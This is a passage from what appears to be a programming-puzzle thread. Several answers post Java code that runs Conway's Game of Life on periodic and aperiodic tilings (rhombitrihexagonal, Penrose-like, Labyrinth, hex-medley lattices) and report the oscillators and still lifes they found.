complex lattices, I've taken that approach here. Every periodic tiling is a lattice, and it's possible to identify a fundamental unit (in the case of this tiling it's a hexagon, two triangles, and three squares) which is repeated along two axes. Then just supply the axis offsets and the coordinates of the primitive cells of a fundamental unit and you're done. All of this code can be downloaded as zip at <https://gist.github.com/pjt33/becd56784480ddd751bf> , and that also includes a `GenericLifeGui` which I haven't posted on this page. ``` public class Rhombitrihexagonal extends AbstractLattice { public Rhombitrihexagonal() { super(22, 0, 11, 19, new int[][] { {-7, 0, 7, 7, 0, -7}, {0, 4, 11, 7}, {7, 11, 15}, {7, 15, 15, 7}, {7, 15, 11}, {7, 11, 4, 0}, }, new int[][] { {4, 8, 4, -4, -8, -4}, {8, 15, 11, 4}, {4, 11, 4}, {4, 4, -4, -4}, {-4, -4, -11}, {-4, -11, -15, -8}, }); } @Override public boolean isInterestingOscillationPeriod(int period) { return period != 2 && period != 4 && period != 5 && period != 6 && period != 10 && period != 12 && period != 15 && period != 30; } } ``` The support for this is my previously posted generic framework plus the `AbstractLattice` class: ``` import java.awt.Point; import java.util.*; public abstract class AbstractLattice implements Tiling<AbstractLattice.LatticeCell> { // Use the idea of expansion and vertex mapping from my earlier aperiod tiling implementation. private Map<Point, Set<LatticeCell>> vertexNeighbourhood = new HashMap<Point, Set<LatticeCell>>(); private int scale = -1; // Geometry private final int dx0, dy0, dx1, dy1; private final int[][] xs; private final int[][] ys; protected AbstractLattice(int dx0, int dy0, int dx1, int dy1, int[][] xs, int[][] ys) { this.dx0 = dx0; this.dy0 = dy0; this.dx1 = dx1; this.dy1 = dy1; // Assume sensible subclasses, so no need to clone the arrays to prevent modification. this.xs = xs; this.ys = ys; } private void expand() { scale++; // We want to enumerate all lattice cells whose extreme coordinate is +/- scale. // Corners: insertLatticeNeighbourhood(-scale, -scale); insertLatticeNeighbourhood(-scale, scale); insertLatticeNeighbourhood(scale, -scale); insertLatticeNeighbourhood(scale, scale); // Edges: for (int i = -scale + 1; i < scale; i++) { insertLatticeNeighbourhood(-scale, i); insertLatticeNeighbourhood(scale, i); insertLatticeNeighbourhood(i, -scale); insertLatticeNeighbourhood(i, scale); } } private void insertLatticeNeighbourhood(int x, int y) { for (int sub = 0; sub < xs.length; sub++) { LatticeCell cell = new LatticeCell(x, y, sub); int[][] bounds = bounds(cell); for (int i = 0; i < bounds[0].length; i++) { Point p = new Point(bounds[0][i], bounds[1][i]); Set<LatticeCell> adj = vertexNeighbourhood.get(p); if (adj == null) vertexNeighbourhood.put(p, adj = new HashSet<LatticeCell>()); adj.add(cell); } } } public Set<LatticeCell> neighbours(LatticeCell cell) { Set<LatticeCell> rv = new HashSet<LatticeCell>(); // +1 because we will border cells from the next scale. int requiredScale = Math.max(Math.abs(cell.x), Math.abs(cell.y)) + 1; while (scale < requiredScale) expand(); int[][] bounds = bounds(cell); for (int i = 0; i < bounds[0].length; i++) { Point p = new Point(bounds[0][i], bounds[1][i]); Set<LatticeCell> adj = vertexNeighbourhood.get(p); rv.addAll(adj); } rv.remove(cell); return rv; } public int[][] bounds(LatticeCell cell) { int[][] bounds = new int[2][]; bounds[0] = xs[cell.sub].clone(); bounds[1] = ys[cell.sub].clone(); for (int i = 0; i < bounds[0].length; i++) { bounds[0][i] += cell.x * dx0 + cell.y * dx1; bounds[1][i] += cell.x * dy0 + cell.y * dy1; } return bounds; } public LatticeCell initialCell() { return new LatticeCell(0, 0, 0); } public abstract boolean isInterestingOscillationPeriod(int period); public Set<LatticeCell> parseCells(String[] data) { Set<LatticeCell> rv = new HashSet<LatticeCell>(); if (data.length % 3 != 0) throw new IllegalArgumentException("Data should come in triples"); for (int i = 0; i < data.length; i += 3) { if (data[i + 2].length() != 1) throw new IllegalArgumentException("Third data item should be a single letter"); rv.add(new LatticeCell(Integer.parseInt(data[i]), Integer.parseInt(data[i + 1]), data[i + 2].charAt(0) - 'A')); } return rv; } public String format(Set<LatticeCell> cells) { StringBuilder sb = new StringBuilder(); for (LatticeCell cell : cells) { if (sb.length() > 0) sb.append(' '); sb.append(cell.x).append(' ').append(cell.y).append(' ').append((char)(cell.sub + 'A')); } return sb.toString(); } static class LatticeCell { public final int x, y, sub; LatticeCell(int x, int y, int sub) { this.x = x; this.y = y; this.sub = sub; } @Override public int hashCode() { return (x * 0x100025) + (y * 0x959) + sub; } @Override public boolean equals(Object obj) { if (!(obj instanceof LatticeCell)) return false; LatticeCell other = (LatticeCell)obj; return x == other.x && y == other.y && sub == other.sub; } @Override public String toString() { return x + " " + y + " " + (char)('A' + sub); } } } ``` [Answer] ## Penrose-esque projection of 7-dimensional lattice (64+ points) This is similar to the Penrose tiling (to get a Penrose tiling replace `N = 7` with `N = 5`) and qualifies for the **aperiodic bonus** (40 points). **Still life** (2 points): trivial because the protocells are convex, so any vertex of order 3 or more suffices. (Pick all of its faces if it is order 3, or any 4 of them otherwise). **Short-period oscillators** (15 points): This tiling is rich in oscillators. The smallest period for which I've only found one oscillator is 11, and the smallest period for which I've found none is 13. ![p2](https://i.stack.imgur.com/50Upy.gif) ![p3](https://i.stack.imgur.com/RMHZ9.gif) ![p4](https://i.stack.imgur.com/nGyDR.gif) ![p5](https://i.stack.imgur.com/ddnHi.gif) ![p6](https://i.stack.imgur.com/ttB7B.gif) ![p7](https://i.stack.imgur.com/2OUHK.gif) ![p8](https://i.stack.imgur.com/KKxfx.gif) ![p9](https://i.stack.imgur.com/ODRsX.gif) ![p10](https://i.stack.imgur.com/ekhs1.gif) ![p11](https://i.stack.imgur.com/QGTCE.gif) ![p12](https://i.stack.imgur.com/TfktG.gif) **Long-period oscillator** (7 points): I deliberately chose one of the variants of this tiling which has rotational symmetry, and that turned out to be useful for the long-period oscillator. It does one-seventh of a rotation around the central point every 28 generations, making it a p196. ![p196](https://i.stack.imgur.com/WaMmn.gif) The code uses the framework which I posted in earlier answers together with the following tiling class: ``` import java.awt.geom.Point2D; import java.util.*; public class Penrose7Tiling implements Tiling<Penrose7Tiling.Rhomb> { private Map<String, Rhomb> rhombs = new HashMap<String, Rhomb>(); private static final int N = 7; private double scale = 16; private double[] gamma; // Nth roots of unity. private Point2D.Double[] zeta; public Penrose7Tiling() { gamma = new double[N]; zeta = new Point2D.Double[N]; for (int i = 0; i < N; i++) { gamma[i] = 1.0 / N; // for global rotational symmetry zeta[i] = new Point2D.Double(Math.cos(2 * i * Math.PI / N), Math.sin(2 * i * Math.PI / N)); } } private Rhomb getRhomb(int r, int s, int k_r, int k_s) { String key = String.format("%d,%d,%d,%d", r, s, k_r, k_s); Rhomb rhomb = rhombs.get(key); if (rhomb == null) rhombs.put(key, rhomb = new Rhomb(r, s, k_r, k_s)); return rhomb; } private int round(double val) { return (int)Math.round(scale * val); } public class Rhomb { public int[] k; public int r, s; private int[] xs = new int[4]; private int[] ys = new int[4]; private Set<Rhomb> neighbours; public Rhomb(int r, int s, int k_r, int k_s) { assert 0 <= r && r < s && s < N; this.r = r; this.s = s; // z_0 satisfies z_0 * zeta_{r,s} + gamma_{r,s} = k_{r,s} Point2D.Double z_0 = solveLinear(zeta[r].x, -zeta[r].y, gamma[r] - k_r, zeta[s].x, -zeta[s].y, gamma[s] - k_s); // Find base lattice point. Point2D.Double p = new Point2D.Double(); k = new int[N]; for (int i = 0; i < N; i++) { int k_i; if (i == r) k_i = k_r; else if (i == s) k_i = k_s; else k_i = (int)Math.ceil(z_0.x * zeta[i].x - z_0.y * zeta[i].y + gamma[i]); k[i] = k_i; p.x += zeta[i].x * (k_i + gamma[i]); p.y += zeta[i].y * (k_i + gamma[i]); } xs[0] = round(p.x); ys[0] = round(p.y); xs[1] = round(p.x + zeta[r].x); ys[1] = round(p.y + zeta[r].y); xs[2] = round(p.x + zeta[r].x + zeta[s].x); ys[2] = round(p.y + zeta[r].y + zeta[s].y); xs[3] = round(p.x + zeta[s].x); ys[3] = round(p.y + zeta[s].y); } public Set<Rhomb> neighbours() { if (neighbours == null) { neighbours = new HashSet<Rhomb>(); // There are quite a few candidates, but we have to check them... for (int nr = 0; nr < N - 1; nr++) { for (int ns = nr + 1; ns < N; ns++) { if (nr == r && ns == s) continue; // Can't happen. for (int nk_r = k[nr] - 1; nk_r <= k[nr]; nk_r++) { for (int nk_s = k[ns] - 1; nk_s <= k[ns]; nk_s++) { Rhomb candidate = getRhomb(nr, ns, nk_r, nk_s); // Our lattice points are (k) plus one or both of vec[r] and vec[s] // where vec[0] = (1, 0, 0, ...), vec[1] = (0, 1, 0, ...), etc. // Candidate has a similar set of 4 lattice points. Is there any agreement? boolean isNeighbour = true; for (int i = 0; i < N; i++) { int myMin = k[i], myMax = k[i] + ((i == r || i == s) ? 1 : 0); int cMin = candidate.k[i], cMax = candidate.k[i] + ((i == nr || i == ns) ? 1 : 0); if (myMin > cMax || cMin > myMax) isNeighbour = false; } if (isNeighbour) neighbours.add(candidate); } } } } } return neighbours; } @Override public String toString() { return String.format("%d,%d,%d,%d", r, s, k[r], k[s]); } } // Solves ax + by + c = dx + ey + f = 0 private Point2D.Double solveLinear(double a, double b, double c, double d, double e, double f) { double det = a*e - b*d; double x = (b*f - c*e) / det; double y = (c*d - a*f) / det; return new Point2D.Double(x, y); } public Set<Rhomb> neighbours(Rhomb cell) { return cell.neighbours(); } public int[][] bounds(Rhomb cell) { // Will be modified. Copy-clone for safety. return new int[][]{ cell.xs.clone(), cell.ys.clone() }; } public Rhomb initialCell() { return getRhomb(0, 1, 0, 0); } public boolean isInterestingOscillationPeriod(int period) { return period == 11 || period == 13 || (period > 14 && period != 26); } public Set<Rhomb> parseCells(String[] data) { Set<Rhomb> rv = new HashSet<Rhomb>(); for (String key : data) { String[] parts = key.split(","); int r = Integer.parseInt(parts[0]); int s = Integer.parseInt(parts[1]); int k_r = Integer.parseInt(parts[2]); int k_s = Integer.parseInt(parts[3]); rv.add(getRhomb(r, s, k_r, k_s)); } return rv; } public String format(Set<Rhomb> cells) { StringBuilder sb = new StringBuilder(); for (Rhomb cell : cells) { if (sb.length() > 0) sb.append(' '); sb.append(cell); } return sb.toString(); } } ``` [Answer] ## Aperiodic [Labyrinth tiling](http://www.ics.uci.edu/~eppstein/junkyard/labtile/) (45+ points) This uses the generic framework from my earlier answer. **Still life** (2 points): ![Labyrinth still life: four triangles meet at an order-12 vertex](https://i.stack.imgur.com/CW4Ay.gif) **Oscillator** (3 points): ![Oscillator image](https://i.stack.imgur.com/l2quv.gif) This oscillator is extremely common, turning up in the result of most random starting points. Code: ``` import java.awt.Point; import java.util.*; public class LabyrinthTiling implements Tiling<String> { private Map<Point, Point> internedPoints = new HashMap<Point, Point>(); private Map<String, Set<Point>> vertices = new HashMap<String, Set<Point>>(); private Map<Point, Set<String>> tris = new HashMap<Point, Set<String>>(); private int level = 0; // 3^level private int scale = 1; public LabyrinthTiling() { linkSymmetric("", new Point(-8, 0)); linkSymmetric("", new Point(8, 0)); linkSymmetric("", new Point(0, 14)); } private void linkSymmetric(String suffix, Point p) { int ay = Math.abs(p.y); link("+" + suffix, new Point(p.x, ay)); link("-" + suffix, new Point(p.x, -ay)); } private void link(String tri, Point p) { Point p2 = internedPoints.get(p); if (p2 == null) internedPoints.put(p, p); else p = p2; Set<Point> ps = vertices.get(tri); if (ps == null) vertices.put(tri, ps = new HashSet<Point>()); Set<String> ts = tris.get(p); if (ts == null) tris.put(p, ts = new HashSet<String>()); ps.add(p); ts.add(tri); } private void expand() { level++; scale *= 3; subdivideEq("", new Point(-8 * scale, 0), new Point(8 * scale, 0), new Point(0, 14 * scale), level, true); } private static Point avg(Point p0, Point p1, Point p2) { return new Point((p0.x + p1.x + p2.x) / 3, (p0.y + p1.y + p2.y) / 3); } private void subdivideEq(String suffix, Point p0, Point p1, Point p2, int level, boolean skip0) { if (level == 0) { linkSymmetric(suffix, p0); linkSymmetric(suffix, p1); linkSymmetric(suffix, p2); return; } Point p01 = avg(p0, p0, p1), p10 = avg(p0, p1, p1); Point p02 = avg(p0, p0, p2), p20 = avg(p0, p2, p2); Point p12 = avg(p1, p1, p2), p21 = avg(p1, p2, p2); Point c = avg(p0, p1, p2); level--; if (!skip0) subdivideEq(suffix + "0", p01, p10, c, level, false); subdivideIso(suffix + "1", p0, c, p01, level); subdivideIso(suffix + "2", p0, c, p02, level); subdivideEq(suffix + "3", p02, c, p20, level, false); subdivideIso(suffix + "4", p2, c, p20, level); subdivideIso(suffix + "5", p2, c, p21, level); subdivideEq(suffix + "6", c, p12, p21, level, false); subdivideIso(suffix + "7", p1, c, p12, level); subdivideIso(suffix + "8", p1, c, p10, level); } private void subdivideIso(String suffix, Point p0, Point p1, Point p2, int level) { if (level == 0) { linkSymmetric(suffix, p0); linkSymmetric(suffix, p1); linkSymmetric(suffix, p2); return; } Point p01 = avg(p0, p0, p1), p10 = avg(p0, p1, p1); Point p02 = avg(p0, p0, p2), p20 = avg(p0, p2, p2); Point p12 = avg(p1, p1, p2), p21 = avg(p1, p2, p2); Point c = avg(p0, p1, p2); level--; subdivideIso(suffix + "0", p0, p01, p02, level); subdivideEq(suffix + "1", p01, p02, p20, level, false); subdivideIso(suffix + "2", p01, p2, p20, level); subdivideIso(suffix + "3", p01, p2, c, level); subdivideIso(suffix + "4", p01, p10, c, level); subdivideIso(suffix + "5", p10, p2, c, level); subdivideIso(suffix + "6", p10, p2, p21, level); subdivideEq(suffix + "7", p10, p12, p21, level, false); subdivideIso(suffix + "8", p1, p10, p12, level); } public Set<String> neighbours(String cell) { Set<String> rv = new HashSet<String>(); Set<Point> cellVertices; while ((cellVertices = vertices.get(cell)) == null) expand(); for (Point p : cellVertices) { // If the point is on the edge of the current level, we need to expand once more. if (Math.abs(p.x) / 8 + Math.abs(p.y) / 14 == scale) expand(); Set<String> adj = tris.get(p); rv.addAll(adj); } rv.remove(cell); return rv; } public int[][] bounds(String cell) { Set<Point> cellVertices; while ((cellVertices = vertices.get(cell)) == null) expand(); int[][] bounds = new int[2][3]; int off = 0; for (Point p : cellVertices) { bounds[0][off] = p.x; bounds[1][off] = p.y; off++; } return bounds; } public String initialCell() { return "+"; } public boolean isInterestingOscillationPeriod(int period) { return period != 4; } public Set<String> parseCells(String[] data) { Set<String> rv = new HashSet<String>(); for (String cell : data) rv.add(cell); return rv; } public String format(Set<String> cells) { StringBuilder sb = new StringBuilder(); for (String cell : cells) { if (sb.length() > 0) sb.append(' '); sb.append(cell); } return sb.toString(); } } ``` [Answer] # java, points-currently 11 This is the new and improved version of the one above, except without a fatal flaw! try it [here](https://app.box.com/s/b3pfluzx8u9yk4qqased), now with random button! (press several times to get more fill) Also included speed button. First one, period 4 oscillator, 3 points ![enter image description here](https://i.stack.imgur.com/uYteT.gif) Next, ~~2~~ 3 period 2 oscillators - 3 points ![enter image description here](https://i.stack.imgur.com/KMd69.gif) ![enter image description here](https://i.stack.imgur.com/18p0K.gif) ![enter image description here](https://i.stack.imgur.com/Qmlxw.gif) 2 more 2 period oscillators, courtesy of Martin Büttner (oooohhhhhhh... color) ![enter image description here](https://i.stack.imgur.com/UdfXq.gif) ![enter image description here](https://i.stack.imgur.com/JxwMB.gif) I made a program to run it randomly and continuously, looking for oscillations. It found this one. period 5 +3 points ![enter image description here](https://i.stack.imgur.com/jaRG0.gif) And another period 5, found by the randomizer. ![enter image description here](https://i.stack.imgur.com/CmqAi.gif) And of course, a still life (as an example, there are many) 2 points ![enter image description here](https://i.stack.imgur.com/fMB0W.gif) Code- Main class ``` import java.awt.Dimension; import java.awt.GridBagConstraints; import java.awt.GridBagLayout; import java.awt.Point; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.awt.event.MouseEvent; import java.awt.event.MouseListener; import java.util.ArrayList; import javax.swing.JApplet; import javax.swing.JButton; import javax.swing.JFrame; import javax.swing.JLabel; import javax.swing.JPanel; import javax.swing.JTextField; import javax.swing.Timer; import javax.swing.event.DocumentEvent; import javax.swing.event.DocumentListener; public class Main{ public static void main(String[] args) { new Main(); } Canvas canvas = new Canvas(); JFrame frame = new JFrame(); Timer timer; ShapeInfo info; int[][][] history; public Main() { JPanel panel = new JPanel(); panel.setMinimumSize(new Dimension(500,500)); panel.setLayout(new GridBagLayout()); frame.setMinimumSize(new Dimension(500,500)); frame.getContentPane().add(panel); frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); //frame.setResizable(false); canvas.setMinimumSize(new Dimension(200,200)); GridBagConstraints c = new GridBagConstraints(); c.gridx = 0; c.gridy = 2; c.weightx = 1; c.weighty = 1; c.gridwidth = 3; c.fill = GridBagConstraints.BOTH; panel.add(canvas,c); JButton startButton = new JButton(); startButton.setText("click to start"); startButton.setMaximumSize(new Dimension(100,50)); GridBagConstraints g = new GridBagConstraints(); g.gridx =0; g.gridy = 0; g.weightx = 1; panel.add(startButton,g); JButton restartButton = new JButton(); restartButton.setText("revert"); GridBagConstraints b = new GridBagConstraints(); b.gridx = 0; b.gridy = 9; panel.add(restartButton,b); JButton clearButton = new JButton(); clearButton.setText("Clear"); GridBagConstraints grid = new GridBagConstraints(); grid.gridx = 1; grid.gridy = 0; panel.add(clearButton,grid); JButton randomButton = new JButton(); randomButton.setText("fill randomly"); GridBagConstraints rt = new GridBagConstraints(); rt.gridx = 2; rt.gridy = 0; panel.add(randomButton,rt); JLabel speedLabel = new JLabel(); speedLabel.setText("speed"); GridBagConstraints rt2 = new GridBagConstraints(); rt2.gridx = 3; rt2.gridy = 0; panel.add(speedLabel,rt2); final JTextField speed = new JTextField(); speed.setText("300"); GridBagConstraints rt21 = new GridBagConstraints(); rt21.gridx = 4; rt21.gridy = 0; panel.add(speed,rt21); speed.getDocument().addDocumentListener(new DocumentListener(){ @Override public void changedUpdate(DocumentEvent arg0) { doSomething(); } @Override public void insertUpdate(DocumentEvent arg0) { doSomething(); } @Override public void removeUpdate(DocumentEvent arg0) { doSomething(); } public void doSomething(){ try{int s = Integer.valueOf(speed.getText()); timer.setDelay(s);} catch(Exception e){} } }); randomButton.addActionListener(new ActionListener(){ @Override public void actionPerformed(ActionEvent arg0) { for(int i = 0; i< canvas.squaresHigh*canvas.squaresWide/2;i++){ double rx = Math.random(); double ry = Math.random(); int position = (int) Math.floor(Math.random() * 13); int x = (int)(rx * canvas.squaresWide); int y = (int)(ry * canvas.squaresHigh); if(x!=0&&x!=canvas.squaresWide-1&&y!=0&&y!=canvas.squaresHigh-1){ info.allShapes[x][y][position] = 1; } } history = cloneArray(info.allShapes); canvas.draw(info.allShapes); } }); clearButton.addActionListener(new ActionListener(){ @Override public void actionPerformed(ActionEvent arg0) { info = new ShapeInfo(canvas.squaresWide,canvas.squaresHigh); restart(); } }); final JTextField scaleFactor = new JTextField(); scaleFactor.setText("5"); GridBagConstraints gh = new GridBagConstraints(); gh.gridx = 0; gh.gridy = 1; panel.add(scaleFactor,gh); scaleFactor.getDocument().addDocumentListener(new DocumentListener(){ @Override public void changedUpdate(DocumentEvent arg0) { doSomething(); } @Override public void insertUpdate(DocumentEvent arg0) { doSomething(); } @Override public void removeUpdate(DocumentEvent arg0) { doSomething(); } public void doSomething(){ try{ canvas.size = Integer.valueOf(scaleFactor.getText()); canvas.draw(info.allShapes); } catch(Exception e){} } }); timer = new Timer(300, listener); frame.pack(); frame.setVisible(true); info = new ShapeInfo(canvas.squaresWide, canvas.squaresHigh); info.width = canvas.squaresWide; info.height = canvas.squaresHigh; history = cloneArray(info.allShapes); //history[8][11][1] = 1; canvas.draw(info.allShapes); restartButton.addActionListener(new ActionListener(){ @Override public void actionPerformed(ActionEvent arg0) { if(timer.isRunning() == true){ info.allShapes = cloneArray(history); restart(); } } }); canvas.addMouseListener(new MouseListener(){ @Override public void mouseClicked(MouseEvent e) { int x = e.getLocationOnScreen().x - canvas.getLocationOnScreen().x; int y = e.getLocationOnScreen().y - canvas.getLocationOnScreen().y; Point location = new Point(x,y); for(PolygonInfo p:canvas.polygons){ if(p.polygon.contains(location)){ if(info.allShapes[p.x][p.y][p.position] == 1){ info.allShapes[p.x][p.y][p.position] = 0; } else{ info.allShapes[p.x][p.y][p.position] = 1; } } } canvas.draw(info.allShapes); history = cloneArray(info.allShapes); } @Override public void mouseEntered(MouseEvent arg0) { } @Override public void mouseExited(MouseEvent arg0) { } @Override public void mousePressed(MouseEvent arg0) { } @Override public void mouseReleased(MouseEvent arg0) { } }); startButton.addActionListener(new ActionListener(){ @Override public void actionPerformed(ActionEvent arg0) { timer.start(); } }); } public int[][][] cloneArray(int[][][] array){ int[][][] newArray = new int[array.length][array[0].length][array[0][0].length]; for(int x = 0;x<array.length;x++){ int[][] subArray = array[x]; for(int y = 0; y < subArray.length;y++){ int subSubArray[] = subArray[y]; newArray[x][y] = subSubArray.clone(); } } return newArray; } public void restart(){ timer.stop(); canvas.draw(info.allShapes); } public void setUp(){ int[] boxes = new int[]{2,3,4,6,7,8}; for(int box:boxes){ info.allShapes[8][12][box-1] = 1; info.allShapes[9][13][box-1] = 1; info.allShapes[8][14][box-1] = 1; info.allShapes[9][15][box-1] = 1; } } public void update() { ArrayList<Coordinate> dieList = new ArrayList<Coordinate>(); ArrayList<Coordinate> appearList = new ArrayList<Coordinate>(); for (int x = 0; x < canvas.squaresWide; x++) { for (int y = 0; y < canvas.squaresHigh; y++) { for(int position = 0;position <13;position++){ int alive = info.allShapes[x][y][position]; int touching = info.shapesTouching(x, y, position); if(touching!=0){ } if(alive == 1){ if(touching < 2 || touching > 3){ //cell dies dieList.add(new Coordinate(x,y,position)); } } else{ if(touching == 3){ //cell appears appearList.add(new Coordinate(x,y,position)); } } } } } for(Coordinate die:dieList){ info.allShapes[die.x][die.y][die.position] = 0; } for(Coordinate live:appearList){ info.allShapes[live.x][live.y][live.position] = 1; } } boolean firstDraw = true; int ticks = 0; ActionListener listener = new ActionListener() { @Override public void actionPerformed(ActionEvent arg0) { canvas.draw(info.allShapes); if(ticks !=0){ update(); } ticks++; } }; } ``` Canvas - ``` import java.awt.Color; import java.awt.Graphics; import java.awt.Polygon; import java.util.ArrayList; import javax.swing.JPanel; public class Canvas extends JPanel { private static final long serialVersionUID = 1L; public int squaresWide = 30; public int squaresHigh = 30; public int size = 6; ArrayList<PolygonInfo> polygons = new ArrayList<PolygonInfo>(); boolean drawTessalationOnly = true; private int[][][] shapes; public void draw(int[][][] shapes2) { shapes = shapes2; drawTessalationOnly = false; this.repaint(); } @Override protected void paintComponent(Graphics g) { //System.out.println("drawing"); polygons.clear(); super.paintComponent(g); g.setColor(Color.black); // draw tessellation for (int x = 0; x < squaresWide; x++) { for (int y = 0; y < squaresHigh; y++) { for (int position = 0; position < 13; position++) { // System.out.println("position = " + position); Polygon p = new Polygon(); int points = 0; int[] xc = new int[] {}; int[] yc = new int[] {}; if (position == 0) { xc = new int[] {-2,0,2,0}; yc = new int[] {0,-2,0,2}; points = 4; } if (position == 1) { xc = new int[] {2,4,4,1}; yc = new int[] {0,0,2,1}; points = 4; } if (position == 2) { xc = new int[] {4,6,7,4}; yc = new int[] {0,0,1,2}; points = 4; } if (position == 3) { xc = new int[] {1,2,0,0}; yc = new int[] {1,4,4,2}; points = 4; } if (position == 4) { xc = new int[] {1,4,4,2}; yc = new int[] {1,2,4,4}; points = 4; } if (position == 5) { xc = new int[] {7,6,4,4}; yc = new int[] {1,4,4,2}; points = 4; } if (position == 6) { xc = new int[] {7,8,8,6}; yc = new int[] {1,2,4,4}; points = 4; } if (position == 7) { xc = new int[] {0,2,1,0}; yc = new int[] {4,4,7,6}; points = 4; } if (position == 8) { xc = new int[] {1,2,4,4}; yc = new int[] {7,4,4,6}; points = 4; } if (position == 9) { xc = new int[] {7,6,4,4}; yc = new int[] {7,4,4,6}; points = 4; } if (position == 10) { xc = new int[] {8,6,7,8}; yc = new int[] {4,4,7,6}; points = 4; } if (position == 11) { xc = new int[] {4,4,2,1}; yc = new int[] {6,8,8,7}; points = 4; } if (position == 12) { xc = new int[] {4,4,6,7}; yc = new int[] {6,8,8,7}; points = 4; } int[] finalX = new int[xc.length]; int[] finalY = new int[yc.length]; for (int i = 0; i < xc.length; i++) { int xCoord = xc[i]; xCoord = (xCoord + (8 * x)) * size; finalX[i] = xCoord; } for (int i = 0; i < yc.length; i++) { int yCoord = yc[i]; yCoord = (yCoord + (8 * y)) * size; finalY[i] = yCoord; } p.xpoints = finalX; p.ypoints = finalY; p.npoints = points; polygons.add(new PolygonInfo(p,x,y,position)); // for(int i = 0;i<p.npoints;i++){ // / System.out.println("(" + p.xpoints[i] + "," + // p.ypoints[i] + ")"); // } if (drawTessalationOnly == false) { if (shapes[x][y][position] == 1) { g.setColor(Color.black); g.fillPolygon(p); } else { g.setColor(Color.black); g.drawPolygon(p); } } else { g.drawPolygon(p); } } } } } } ``` ShapeInfo - ``` public class ShapeInfo { int[][][] allShapes; // first 2 dimensions are coordinates of large square, // last is boolean - if shaded int width = 30; int height = 30; public ShapeInfo(int width, int height) { allShapes = new int[width][height][13]; for (int[][] i : allShapes) { for (int[] h : i) { for (int g : h) { g = 0; } } } } public int shapesTouching(int x, int y, int position) { int t = 0; if (x > 0 && y > 0 && x < width - 1 && y < height - 1) { int[] inShape = new int[]{}; int[] rightOfShape = new int[]{}; int[] aboveShape = new int[]{}; int[] leftOfShape = new int[]{}; int[] belowShape = new int[]{}; int[] aboveRightOfShape = new int[]{}; int[] aboveLeftOfShape = new int[]{}; int[] belowRightOfShape = new int[]{}; int[] belowLeftOfShape = new int[]{}; if (position == 0) { inShape = new int[]{1,3,4}; aboveShape = new int[]{7,8,11}; leftOfShape = new int[]{2,5,6}; aboveLeftOfShape = new int[]{10,12,9}; } if (position == 1) { inShape = new int[]{0,3,4,5,2}; aboveShape = new int[]{11,12}; } if (position == 2) { inShape = new int[]{1,4,5,6}; rightOfShape = new int[]{0}; aboveShape = new int[]{12,11}; } if (position == 3) { inShape = new int[]{0,1,4,8,7}; leftOfShape = new int[]{6,10}; } if (position == 4) { inShape = new int[]{0,1,3,2,7,5,8,9}; } if (position == 5) { inShape = new int[]{2,6,1,10,4,9,8}; rightOfShape = new int[]{0}; } if (position == 6) { inShape = new int[]{2,5,9,10}; rightOfShape = new int[]{0,3,7}; } if (position == 7) { inShape = new int[]{3,4,8,11}; leftOfShape =new int[]{6,10}; belowShape = new int[]{0}; } if (position == 8) { inShape = new int[]{5,4,9,3,12,7,11}; belowShape = new int[]{0}; } if (position == 9) { inShape = new int[]{4,5,8,6,11,12,10}; belowRightOfShape = new int[]{0}; } if (position == 10) { inShape = new int[]{6,5,9,12}; rightOfShape = new int[]{3,7}; belowRightOfShape = new int[]{0}; } if (position == 11) { inShape = new int[]{7,8,9,12}; belowShape = new int[]{0,1,2}; } if (position == 12) { inShape = new int[]{11,8,9,10}; belowShape = new int[]{1,2}; belowRightOfShape = new int[]{0}; } for(int a:inShape){ if(allShapes[x][y][a] == 1){t++;} } for(int a:rightOfShape){ if(allShapes[x+1][y][a] == 1){t++;} } for(int a:leftOfShape){ if(allShapes[x-1][y][a] == 1){t++;} } for(int a:aboveShape){ if(allShapes[x][y-1][a] == 1){t++;} } for(int a:belowShape){ if(allShapes[x][y+1][a] == 1){t++;} } for(int a:aboveRightOfShape){ if(allShapes[x+1][y-1][a] == 1){t++;} } for(int a:aboveLeftOfShape){ if(allShapes[x-1][y-1][a] == 1){t++;} } for(int a:belowRightOfShape){ if(allShapes[x+1][y+1][a] == 1){t++;} } for(int a:belowLeftOfShape){ if(allShapes[x-1][y+1][a] == 1){t++;} } } return t; } } ``` Coordinate - ``` public class Coordinate { int x; int y; int position; public Coordinate(int X,int Y, int Position){ x=X; y=Y; position = Position; } } ``` PolygonInfo ``` import java.awt.Polygon; public class PolygonInfo { public Polygon polygon; public int x; public int y; public int position; public PolygonInfo(Polygon p,int X,int Y,int Position){ x = X; y = Y; polygon = p; position = Position; } } ``` If anyone finds any, they will be mentioned. (Which reminds me: my brother found the first 2 oscillators) [Answer] ## "Hex Medley 3" (24+ points\*) Inspired by the floret pentagonal tiling: a block of 7 hexagons tiles the plane, and we can chop the hexagons up in a lot of different ways. As the name suggests, this is the third such variation I tried, but it's worth posting because it's the first tiling to claim the 7 points for a p30+ oscillator. The tiling is: ![The inner of the 7 hexagons is divided into 6 equilateral triangles; the outer six into 3 rhombi each, with alternating parity](https://i.stack.imgur.com/iCLIB.png) Since the protocells are convex, any order-3 vertex gives a **still-life** (2 points). I have found **five small-period oscillators** (15 points): periods 2, 3, 4, 6, 12. ![p2 oscillator](https://i.stack.imgur.com/SlJLD.gif) ![p3 oscillator](https://i.stack.imgur.com/ymIvM.gif) ![p4 oscillator](https://i.stack.imgur.com/kH71z.gif) ![p6 oscillator](https://i.stack.imgur.com/KAyEI.gif) ![p12 oscillator](https://i.stack.imgur.com/51O7I.gif) And the *pièce de résistance*: a **p48 oscillator** (7 points) which rotates by 60 degrees every 8 generations: ![p48 oscillator](https://i.stack.imgur.com/xzjeA.gif) \* Given the nature of this tiling I could pick a single hex which is divided into rhombi and rotate it 60 degrees. This would make the tiling aperiodic without technically breaking any rules, and wouldn't break any of the oscillators either. But I don't think it's in the spirit of the question, so I won't try to claim those 40 points. The code relies on a lot of code I've posted in other answers; the unique part is ``` public class HexMedley3 extends AbstractLattice { public HexMedley3() { super(35, -12, 28, 24, new int[][] { {0, 0, 7}, {0, 7, 7}, {0, 7, 0}, {0, 0, -7}, {0, -7, -7}, {0, -7, 0}, {0, 0, 7, 7}, {7, 7, 14, 14}, {7, 14, 7, 0}, {7, 14, 21, 14}, {14, 21, 21, 14}, {14, 14, 7, 7}, {7, 14, 14, 7}, {7, 14, 7, 0}, {7, 0, 0, 7}, {0, 0, -7, -7}, {-7, -7, -14, -14}, {-7, -14, -7, 0}, {-7, -14, -21, -14}, {-14, -21, -21, -14}, {-14, -14, -7, -7}, {-7, -14, -14, -7}, {-7, -14, -7, 